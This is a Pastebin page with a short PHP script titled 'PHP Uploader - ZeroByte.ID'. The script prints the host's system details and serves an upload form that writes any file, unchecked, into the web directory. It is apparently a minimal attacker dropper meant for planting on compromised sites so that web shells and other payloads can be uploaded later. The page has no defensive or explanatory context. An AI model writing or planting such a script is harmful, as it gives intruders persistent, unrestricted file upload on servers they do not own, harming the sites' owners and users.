daily pastebin goal
49%
SHARE
TWEET

PHP Uploader

zerobyte-id Apr 23rd, 2018 2,407 Never
Upgrade to PRO!
ENDING IN00days00hours00mins00secs
  1. <?php
  2. echo "PHP Uploader - ZeroByte.ID";
  3. echo "<br>".php_uname()."<br>";
  4. echo "<form method='post' enctype='multipart/form-data'>
  5. <input type='file' name='zb'><input type='submit' name='upload' value='upload'>
  6. </form>";
  7. if($_POST['upload']) {
  8.     if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) {
  9.     echo "Success!";
  10.     } else {
  11.     echo "Failed to Upload.";
  12.     }
  13. }
  14. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top